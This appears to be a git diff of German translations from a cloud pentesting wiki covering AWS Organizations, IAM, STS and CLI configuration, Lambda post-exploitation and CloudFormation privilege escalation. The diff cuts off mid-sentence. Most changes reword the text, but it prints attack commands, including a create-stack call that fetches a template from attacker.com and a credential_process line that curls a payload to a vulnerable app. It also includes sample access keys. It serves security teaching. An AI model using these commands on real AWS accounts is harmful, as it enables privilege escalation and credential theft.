diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 75c63f8a5..e6a197cc9 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -20,7 +20,7 @@ Daher gibt es **zwei Arten von Konten in einer Organisation** (wir sprechen von - Andere bestehende Konten zur Organisation einladen - Konten aus der Organisation entfernen - Einladungen verwalten -- Richtlinien auf Entitäten (Roots, OUs oder Konten) innerhalb der Organisation anwenden +- Richtlinien auf Entitäten (Wurzeln, OUs oder Konten) innerhalb der Organisation anwenden - Die Integration mit unterstützten AWS-Diensten aktivieren, um die Dienstfunktionalität über alle Konten in der Organisation bereitzustellen. - Es ist möglich, sich als Root-Benutzer mit der E-Mail-Adresse und dem Passwort anzumelden, die zur Erstellung dieses Root-Kontos/Organisation verwendet wurden. @@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen angibt, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen geben SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto an. Wenn Sie eine SCP an die Root-Organisation oder eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**. +Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen spezifiziert, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen spezifizieren SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto. Wenn Sie eine SCP an die Root-Organisation oder eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**. Dies ist der EINZIGE Weg, wie **sogar der Root-Benutzer daran gehindert werden kann**, etwas zu tun. Zum Beispiel könnte es verwendet werden, um Benutzer daran zu hindern, CloudTrail zu deaktivieren oder Backups zu löschen.\ Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu kompromittieren, das die SCPs konfiguriert (das Master-Konto kann nicht blockiert werden). @@ -66,12 +66,12 @@ Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/late ### Resource Control Policy (RCP) -Eine **Resource Control Policy (RCP)** ist eine Richtlinie, die die **maximalen Berechtigungen für Ressourcen innerhalb Ihrer AWS-Organisation** definiert. RCPs sind in der Syntax ähnlich wie IAM-Richtlinien, gewähren jedoch **keine Berechtigungen** – sie begrenzen nur die Berechtigungen, die von anderen Richtlinien auf Ressourcen angewendet werden können. Wenn Sie eine RCP an die Root-Organisation, eine organisatorische Einheit (OU) oder ein Konto anhängen, beschränkt die RCP die Ressourcenberechtigungen für alle Ressourcen im betroffenen Bereich. +Eine **Resource Control Policy (RCP)** ist eine Richtlinie, die die **maximalen Berechtigungen für Ressourcen innerhalb Ihrer AWS-Organisation** definiert. RCPs sind in der Syntax ähnlich wie IAM-Richtlinien, gewähren jedoch **keine Berechtigungen**—sie begrenzen nur die Berechtigungen, die von anderen Richtlinien auf Ressourcen angewendet werden können. Wenn Sie eine RCP an die Root-Organisation, eine organisatorische Einheit (OU) oder ein Konto anhängen, beschränkt die RCP die Ressourcenberechtigungen für alle Ressourcen im betroffenen Bereich. -Dies ist der EINZIGE Weg, um sicherzustellen, dass **Ressourcen die vordefinierten Zugriffslevel nicht überschreiten** – selbst wenn eine identitätsbasierte oder ressourcenbasierte Richtlinie zu großzügig ist. Der einzige Weg, diese Grenzen zu umgehen, besteht darin, auch die RCP zu ändern, die von dem Management-Konto Ihrer Organisation konfiguriert wurde. +Dies ist der EINZIGE Weg, um sicherzustellen, dass **Ressourcen die vordefinierten Zugriffslevel nicht überschreiten**—selbst wenn eine identitätsbasierte oder ressourcenbasierte Richtlinie zu großzügig ist. Der einzige Weg, diese Grenzen zu umgehen, besteht darin, auch die RCP zu ändern, die von dem Verwaltungskonto Ihrer Organisation konfiguriert wurde. > [!WARNING] -> RCPs beschränken nur die Berechtigungen, die Ressourcen haben können. Sie steuern nicht direkt, was Prinzipale tun können. Wenn beispielsweise eine RCP den externen Zugriff auf einen S3-Bucket verweigert, stellt sie sicher, dass die Berechtigungen des Buckets niemals Aktionen über das festgelegte Limit hinaus zulassen – selbst wenn eine ressourcenbasierte Richtlinie falsch konfiguriert ist. +> RCPs beschränken nur die Berechtigungen, die Ressourcen haben können. Sie steuern nicht direkt, was Prinzipale tun können. Wenn beispielsweise eine RCP den externen Zugriff auf einen S3-Bucket verweigert, stellt sie sicher, dass die Berechtigungen des Buckets niemals Aktionen über das festgelegte Limit hinaus zulassen—selbst wenn eine ressourcenbasierte Richtlinie falsch konfiguriert ist. RCP-Beispiele: @@ -108,7 +108,7 @@ IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisie ### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. +Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzigen Anmeldedaten, die **vollständigen Zugriff auf alle** AWS-Dienste und Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen. Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat. @@ -116,11 +116,11 @@ Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen un ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüsseln). +Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel). Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Gruppe von Benutzern** machen, die über geeignete Berechtigungspolicen verfügt (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen. -Benutzer können **MFA aktiviert haben, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass für die Durchführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass MFA erforderlich ist, um bestimmte Aktionen auszuführen (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI @@ -132,8 +132,8 @@ _Einen neuen Zugriffsschlüssel erstellen -> Den neuen Schlüssel auf das System ### MFA - Multi Factor Authentication -Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie z.B. Passwort, zu erstellen, wodurch ein mehrstufiges Authentifizierungsniveau entsteht.\ -Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um ein MFA in AWS zu aktivieren. +Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie Passwort, zu erstellen und somit ein mehrstufiges Authentifizierungsniveau zu schaffen.\ +Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um MFA in AWS zu aktivieren. Richtlinien mit MFA-Bedingungen können an Folgendes angehängt werden: @@ -157,23 +157,23 @@ Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe anhäng Hier sind einige wichtige Merkmale von Benutzergruppen: - Eine Benutzer **gruppe** kann **viele Benutzer enthalten**, und ein **Benutzer** kann **zu mehreren Gruppen gehören**. -- **Benutzergruppen können nicht geschachtelt werden**; sie können nur Benutzer enthalten, keine anderen Benutzergruppen. +- **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer enthalten, keine anderen Benutzergruppen. - Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto einschließt**. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer zuweisen. -- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie in den [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Eine IAM **Rolle** ist sehr **ähnlich** zu einem **Benutzer**, da sie eine **Identität mit Berechtigungsrichtlinien ist, die bestimmt, was** sie in AWS tun kann und was nicht. Eine Rolle **hat jedoch keine Anmeldeinformationen** (Passwort oder Zugriffsschlüssel), die mit ihr verbunden sind. Anstatt eindeutig mit einer Person verbunden zu sein, ist eine Rolle dazu gedacht, **von jedem übernommen zu werden, der sie benötigt (und genügend Berechtigungen hat)**. Ein **IAM-Benutzer kann eine Rolle übernehmen, um vorübergehend** andere Berechtigungen für eine bestimmte Aufgabe zu übernehmen. Eine Rolle kann einem **[federierten Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)** zugewiesen werden, der sich über einen externen Identitätsanbieter anstelle von IAM anmeldet. +Eine IAM **Rolle** ist sehr **ähnlich** zu einem **Benutzer**, da sie eine **Identität mit Berechtigungspolitiken ist, die bestimmen, was** sie in AWS tun kann und was nicht. Eine Rolle **hat jedoch keine Anmeldeinformationen** (Passwort oder Zugriffsschlüssel), die mit ihr verbunden sind. Anstatt eindeutig mit einer Person verbunden zu sein, ist eine Rolle dazu gedacht, **von jedem übernommen zu werden, der sie benötigt (und genügend Berechtigungen hat)**. Ein **IAM-Benutzer kann eine Rolle übernehmen, um vorübergehend** andere Berechtigungen für eine bestimmte Aufgabe zu übernehmen. Eine Rolle kann einem **[federierten Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)** zugewiesen werden, der sich über einen externen Identitätsanbieter anstelle von IAM anmeldet. Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensrichtlinie**, die nicht leer sein kann und definiert, **wer die Rolle übernehmen kann**, und einer **Berechtigungsrichtlinie**, die nicht leer sein kann und definiert, **auf was sie zugreifen kann**. #### AWS Security Token Service (STS) -AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Zwecke zugeschnitten: +AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten: ### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die einen eingeschränkteren Satz von Berechtigungen haben als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil temporärer Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeitspanne ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind. +**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die einen eingeschränkteren Satz von Berechtigungen haben als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil von temporären Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeitspanne ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind. ### Richtlinien @@ -214,17 +214,17 @@ Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden könn #### Inline-Richtlinien Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\ -Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden die in der Identität eingebetteten Richtlinien gelöscht, wenn Sie die AWS Management Console verwenden, um diese Identität zu löschen. Das liegt daran, dass sie Teil der Hauptentität sind. +Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden die in der Identität eingebetteten Richtlinien ebenfalls gelöscht, wenn Sie die AWS Management Console verwenden, um diese Identität zu löschen. Das liegt daran, dass sie Teil der Hauptentität sind. #### Ressourcen-Bucket-Richtlinien Dies sind **Richtlinien**, die in **Ressourcen** definiert werden können. **Nicht alle Ressourcen von AWS unterstützen sie**. -Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Ressourcenrichtlinie ihnen Zugriff gewährt, dann sind sie erlaubt. +Wenn eine Hauptentität keinen ausdrücklichen Verweigerung auf ihnen hat und eine Ressourcenrichtlinie ihnen Zugriff gewährt, dann sind sie erlaubt. ### IAM-Grenzen -IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, zu beschränken**. Auf diese Weise schlägt die Operation **fehl**, wenn dem Benutzer von einer **anderen Richtlinie** ein anderes Berechtigungsset gewährt wird und er versucht, diese zu verwenden. +IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, zu beschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden. Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann. @@ -234,7 +234,7 @@ Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und * Eine Sitzungsrichtlinie ist eine **Richtlinie, die festgelegt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen beschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat). -Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigung auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird. +Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird. ```bash aws sts assume-role \ --role-arn \ @@ -242,9 +242,9 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Hinweis: Standardmäßig **kann AWS Sitzungspolicies zu Sitzungen hinzufügen**, die aus anderen Gründen generiert werden. Zum Beispiel werden in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungsanmeldeinformationen mit einer Sitzungspolicy** generiert, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Hinweis: Standardmäßig **kann AWS Sitzungspolicies zu Sitzungen hinzufügen**, die aus anderen Gründen generiert werden. Zum Beispiel in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) wird AWS standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungsanmeldeinformationen mit einer Sitzungspolicy** generieren, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolicy dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungspolicy dies verhindert**. +Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolicy das ... erlaubt", und die Rolle Zugriff hat, um die Aktion auszuführen, liegt es daran, dass **eine Sitzungspolicy dies verhindert**. ### Identitätsföderation @@ -271,7 +271,7 @@ Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
-Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern und Gruppen** haben und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. +Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern & Gruppen** haben und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen. Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**. @@ -283,7 +283,7 @@ Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtli ### Cross Account Trusts und Rollen -**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) **Zugriff auf sein Konto gewähren**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ +**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) **den Zugriff auf sein Konto erlauben**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\ Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können. ### AWS Simple AD @@ -300,14 +300,14 @@ Nicht unterstützt: #### Web-Föderation oder OpenID-Authentifizierung -Die App verwendet die AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS. +Die App verwendet AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS. ### Weitere IAM-Optionen - Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen. -- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Benutzererstellungszeit, ob das Passwort aktiviert ist...) enthält. Sie können einen Credential Report so oft wie einmal alle **vier Stunden** generieren. +- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Erstellungszeit des Benutzers, ob das Passwort aktiviert ist...) enthält. Sie können einen Credential Report so oft wie einmal alle **vier Stunden** generieren. -AWS Identity and Access Management (IAM) bietet **feingranulare Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die Berechtigungen mit minimalen Rechten** sicherzustellen. +AWS Identity and Access Management (IAM) bietet **feingranulare Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die minimalen Berechtigungen** sicherzustellen. ### IAM-ID-Präfixe @@ -359,7 +359,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle in diesen Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. +Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle innerhalb dieser Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn --role-session-name sessname`) und die Anmeldeinformationen konfigurieren. Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\ Ein Beispiel für eine Konfigurationsdatei: @@ -371,7 +371,7 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -Mit dieser Konfigurationsdatei können Sie dann aws cli wie folgt verwenden: +Mit dieser Konfigurationsdatei können Sie dann aws cli verwenden wie: ``` aws --profile acc2 ... ``` @@ -379,12 +379,12 @@ Wenn Sie nach etwas **ähnlichem** suchen, aber für den **Browser**, können Si #### Automatisierung temporärer Anmeldeinformationen -Wenn Sie eine Anwendung ausnutzen, die temporäre Anmeldeinformationen generiert, kann es mühsam sein, diese alle paar Minuten in Ihrem Terminal zu aktualisieren, wenn sie ablaufen. Dies kann behoben werden, indem Sie eine `credential_process`-Direktive in der Konfigurationsdatei verwenden. Zum Beispiel, wenn Sie eine anfällige Webanwendung haben, könnten Sie Folgendes tun: +Wenn Sie eine Anwendung ausnutzen, die temporäre Anmeldeinformationen generiert, kann es mühsam sein, diese alle paar Minuten in Ihrem Terminal zu aktualisieren, wenn sie ablaufen. Dies kann behoben werden, indem eine `credential_process`-Direktive in der Konfigurationsdatei verwendet wird. Zum Beispiel, wenn Sie eine anfällige Webanwendung haben, könnten Sie Folgendes tun: ```toml [victim] credential_process = curl -d 'PAYLOAD' https://some-site.com ``` -Beachten Sie, dass Anmeldeinformationen _in der folgenden Form_ an STDOUT zurückgegeben werden müssen: +Beachten Sie, dass Anmeldeinformationen _in jedem Fall_ im folgenden Format an STDOUT zurückgegeben werden müssen: ```json { "Version": 1, diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5bd9a9827..b27f2f833 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -18,7 +18,7 @@ Standardmäßig haben diese Zugriff auf das Schreiben in eine CloudWatch-Loggrup ### Stehle andere Lambda-URL-Anfragen -Wenn ein Angreifer es schafft, RCE innerhalb eines Lambdas zu erlangen, wird er in der Lage sein, die HTTP-Anfragen anderer Benutzer an das Lambda zu stehlen. Wenn die Anfragen sensible Informationen enthalten (Cookies, Anmeldeinformationen...), kann er sie stehlen. +Wenn es einem Angreifer gelingt, RCE innerhalb eines Lambdas zu erlangen, kann er die HTTP-Anfragen anderer Benutzer an das Lambda stehlen. Wenn die Anfragen sensible Informationen enthalten (Cookies, Anmeldeinformationen...), kann er sie stehlen. {{#ref}} aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 252ba9771..c6f4e2d81 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,23 +12,23 @@ Für weitere Informationen über cloudformation siehe: ### `iam:PassRole`, `cloudformation:CreateStack` -Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** +Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**: +Auf der folgenden Seite finden Sie ein **Exploitation-Beispiel** mit der zusätzlichen Berechtigung **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen CloudFormation-Dienstrolle. +**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen Cloudformation-Service-Rolle. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In diesem Fall können Sie einen **bestehenden CloudFormation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren: +In diesem Fall können Sie einen **bestehenden Cloudformation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -43,7 +43,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der 